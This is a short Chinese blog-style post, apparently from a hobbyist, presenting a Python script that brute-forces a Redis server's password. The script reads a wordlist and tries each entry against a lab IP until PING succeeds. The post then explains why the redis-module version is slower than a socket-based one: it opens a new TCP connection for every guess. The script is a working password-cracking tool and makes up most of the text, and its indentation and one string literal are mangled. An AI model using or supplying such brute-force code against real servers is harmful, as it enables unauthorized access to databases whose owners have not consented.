昨天用socket模块写了个破解redis密码的脚本,今天用Python redis模块在写了个,同一个密码文本,发现redis模块速度明显不如socket模块,代码如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 18-12-27 下午9:20
# @Site :
# @File : redisCrack_2.py
# @Software: PyCharm
from redis import StrictRedis
from redis.exceptions import ResponseError
import sys
redisCrackFile="redisPass.txt"
ip="192.168.36.3"
port=6379
with open(redisCrackFile,"r") as f:
for p in f:
r=StrictRedis(ip,port,password=p.strip("
")) #一定要去掉行尾“
”换行符,不然正确密
try: #码也无法验证通过
response=r.ping()
if response == True:
print "cracked,redis password is: %s" %p
sys.exit(0)
except ResponseError,e:
pass
测试速度如下:
redis模块慢的原因,在于破解过程中的tcp连接建立和释放的开销,脚本运行过程中,在redis服务端多次用ss -tunp|grep 6379查看连接情况,发现不同端口过来的tcp连接,说明每次猜测密码的过程中,都会建立一次tcp连接。而socket模块破解过程中密码验证猜测在一个tcp连接中,只需建立一次tcp链路。